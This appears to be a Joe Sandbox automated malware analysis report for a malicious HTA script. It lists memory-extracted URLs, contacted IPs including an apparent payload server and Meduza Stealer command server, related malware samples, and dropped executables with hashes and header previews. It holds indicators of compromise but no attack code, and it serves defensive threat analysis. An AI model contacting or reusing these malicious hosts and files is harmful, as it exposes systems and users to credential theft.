https://ac.ecosia.org/autocomplete?q=	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000007.00000002.1812229700.0000000007FA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.15/iviewers.dllXR	powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.15	powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1773560054.00000000047D0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.mozilla.org	io12j1es.2tm.exe, 0000000C.00000003.1906772053.000001F159B22000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A114000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1922082521.000001F15A030000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159268000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F159260000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1921895936.000001F15A11C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A00E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A01F000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A038000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1900063983.000001F159FA9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899926649.000001F157550000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A084000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A003000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.microsoft.t/Regi	io12j1es.2tm.exe, 0000000C.00000003.2108934415.000001F159CD0000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1894770651.000001F159CC1000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.2109042169.000001F159CD4000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.2108962470.000001F159CD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.4zY	powershell.exe, 00000005.00000002.1773560054.00000000047D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
147.45.47.15	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
193.3.19.151	unknown	Denmark	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578050
Start date and time:	2024-12-19 08:10:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	script.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@19/14@1/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 98% Number of executed functions: 227 Number of non-executed functions: 154
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 92.122.16.236, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 6344 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3736 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:11:38	API Interceptor	79x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
193.3.19.151	duschno.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	1Sj5F6P4nv.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	5LEXIucyEP.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	44qLDKzsfO.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	gP5rh6fa0S.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	urkOkB0BdX.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	8F0oMWUhg7.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	104.26.12.205
	cali.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	PO 0309494059506060609696007.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	winws1.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	rDOC24INV0616.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARNES-NETAcademicandResearchNetworkofSloveniaSI	https://img10.reactor.cc/pics/post/full/Sakimichan-artist-Iono-(Pokemon)-Pok%c3%a9mon-7823638.jpeg	Get hash	malicious	HTMLPhisher	Browse	193.3.184.24
	bot.sh4.elf	Get hash	malicious	Mirai	Browse	95.87.151.57
	duschno.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	jade.arm.elf	Get hash	malicious	Mirai	Browse	95.87.151.72
	https://u48551708.ct.sendgrid.net/ls/click?upn=u001.ztPEaTmy8WofhPYJ48HDSCunUq5pm5yTGRhe-2B0bVSngC8hMYiy6PgMy1xJOG8JJZaOsK-2FG9SE7UmhEzeQSXDmEf7Z3nlXZDH-2BW1HSMP6c8uYUvXDTaJRyLbPDV6bI3nnDyIlM0OJKevMwAF04rpfLmQEYS641NQTMU227kkOtBQgQK-2FNlHeN6DpPMLDgH6kuMS3X_2vbC1nrAFjePip8HYuHYOlkYXiy7Z-2FrO9MQN7lNoEgxRkovUJGAEvKvTFyRmFsa9AQlcDpFhpJzgHajMOC0yWTZOc2DdmxhrlyPvteyXbl8nlhAtf2p-2FHw4RnlZ8cxDY-2BWJeBsszGnsrXuNOI8LpL5ZYI3ad04OdxC8tHHA5tO-2Be1xS3Z9Z3VrOTM-2FT5ptoYnx5N-2FTYKQ13RZ-2FookVMhAtJ6OV43Zayd1qOmHGLwUI8-3D	Get hash	malicious	Phisher	Browse	193.3.19.55
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	193.3.184.46
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	95.87.175.59
	file.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.3.168.50
	file.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.3.168.50
	file.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	193.3.168.50
CLOUDFLARENETUS	c2A6GRyAwn.dll	Get hash	malicious	Nitol	Browse	104.21.42.47
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.86.72
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	1.elf	Get hash	malicious	Unknown	Browse	141.101.96.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.26.92
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.16.123.96
FREE-NET-ASFREEnetEU	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	147.45.124.54
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	147.45.124.54

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.26.12.205
	TT copy.js	Get hash	malicious	FormBook	Browse	104.26.12.205
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	104.26.12.205
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	104.26.12.205
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	104.26.12.205
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	104.26.12.205
	solara-executor.exe	Get hash	malicious	Unknown	Browse	104.26.12.205
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	104.26.12.205

Process:	C:\Windows\Temp\Launcher.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.364346229059876
Encrypted:	false
SSDEEP:	24:3bWSKco4KmZjKbmOIld6emZ9tYs4RPQoUEJ0gt/NK3R8QHiag+:rWSU4xym/jmZ9tz4RIoUl8NWR8QHb
MD5:	7AF13FDCE1FB2861C38B6E865BA229B6
SHA1:	B3C7EED69B996A1A1DA09F13FCF812B35F45454E
SHA-256:	DD97113E170CB01A86EF21ADA58C84F7A2BFCF80196C37C4FA8B7B0E445343FD
SHA-512:	EBD0D6D1EFF994DFCDE23A78DC4ED266BE41176076E6274C99CBFFB6436B0DB1D0958A083D40992B3EF42706237EB58989ACE435C5172A1315916BFB8B4F0B37
Malicious:	false
Preview:	@...e...........................................................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllulph:NllUp
MD5:	0F51EE116E240BB197D007F53F068EE4
SHA1:	6ED7D8362638DF8B76A52EF04CD396E121ECF59A
SHA-256:	B98A5F234306BB2BE65A0BD4002EAC34B97AA0F68269617984D02FE75AF1F7C3
SHA-512:	381757906D60870E7498182EC173C084643BF6D164C5AC96002573E93C927B76D43AE992942C29C05475BC27DFA6EB704360CE081B77CE5DF772248833CAE566
Malicious:	false
Preview:	@...e.................................*..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fdddmojo.i4w.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kci1av4b.mq2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mfizchnc.oa2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_osfbdjm5.woo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snp1f1vq.qjo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ukvndiu1.y54.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vaxaipqw.ayh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z20dxfa5.eky.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\Launcher.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	206304
Entropy (8bit):	5.9403786086887225
Encrypted:	false
SSDEEP:	3072:gyOSSX7XA5RwkP10/Cg+ufLLobyT9S9jHkQPEZS0bGAPo:tEXjA5yBF+ma9jHfPITGb
MD5:	2696D944FFBEF69510B0C826446FD748
SHA1:	E4106861076981799719876019FE5224EAC2655C
SHA-256:	A4F53964CDDDCCCBD1B46DA4D3F7F5F4292B5DD11C833D3DB3A1E7DEF36DA69A
SHA-512:	C286BC2DA757CBB2A28CF516A4A273DD11B15F674D5F698A713DC794F013B7502A8893AB6041E51BAB3CDD506A18C415B9DF8483B19E312F8FCB88923F42B8EB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s..u...u...u.......u.......u...u...w.......u.......u......u.......u..Rich.u..........PE..L...........................................0....@..........................0......&G....@... .............................tH.......`...................!............T...........................H...@............@..l............................text...T........................... ..`.data...t....0......................@....idata..,....@......."..............@..@.rsrc........`.......@..............@..@.reloc..........,..................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\io12j1es.2tm.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1292800
Entropy (8bit):	6.519533062327776
Encrypted:	false
SSDEEP:	24576:IgAMXnXkciEIMJQZe8Us9Mjemp5wx1wach0lhSMXl5xT+d:x3Xn0ciEIp3Us+egSx+ahpxTK
MD5:	C6813DA66EBA357D0DEAA48C2F7032B8
SHA1:	6812E46C51F823FF0B0EE17BFCE0AF72F857AF66
SHA-256:	1420F60F053C3EA5605239EE431E5F487245108B1C01BE75D16B5246156FA178
SHA-512:	19391C6B12BA8F34A5FAF326F8986EF8DE4729D614D72BF438C6EFA569B3505159CA55F580FE2A02642E5E7A0F1B38A7A9DB9F0D66D67BA548D84C230183159E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: C:\Windows\Temp\io12j1es.2tm.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.7./.d./.d./.d.W.e./.d.W.e./.d..e./.d...e./.d...e./.d...e./.d.W.e8/.d.W.e./.d.W.e./.d./.d...d.W.e./.d..e./.d.>d./.d..e./.dRich./.d........PE..d....7;g.........."....).4.......... ..........@..........................................`.................................................h...@................l..............<......8.......................(.......@............P..x............................text....2.......4.................. ..`.rdata..x....P.......8..............@..@.data....\|.......Z..................@....pdata...l.......n...<..............@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................................

C:\Windows\Temp\iviewers.dll

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	3.6989393576979213
Encrypted:	false
SSDEEP:	96:fNnyOybUJQ23GgX791qKilsZODTgFZP/8R:fNnyOybrVO9QKilhfgFZP/u
MD5:	E017BE56699801DC89A8D6D1724EB633
SHA1:	A7F7AAE4744210DB8EBAF4DA06C167357BC71ECA
SHA-256:	AA6B0863022BDA1E0C263A75AE2896FE473D3BF57A76EFC258B3AFEC8C157564
SHA-512:	2368425DADC7F22EB11532359D4D1AA97BF3E381F4FD7B62C587E1F8819EF64A0FF7FC75CC5948939FADEBC423345AB65A1CD2799BB4136FBEA89D1F75DFC8C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....eag...........!.................+... ...@....... ....................................@..........................@..(...\+..O....`............................................................................... ............... ..H............text........ ...................... ..`.sdata..V....@......................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.537416933867132
TrID:
File name:	script.hta
File size:	551 bytes
MD5:	4041595b42e7b6e2ce5965cb76ea7da1
SHA1:	401723ee1ac651ad359b89dd7e3cefea91d6aaa9
SHA256:	054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f
SHA512:	84cfba05772a5adfef0ddfe65bda07d8b908c16de04ea60942338c49a98db625801a986fd999740f61c62650b6e8ebb7f6056e76fe8656d09207f4cf9ffe7c19
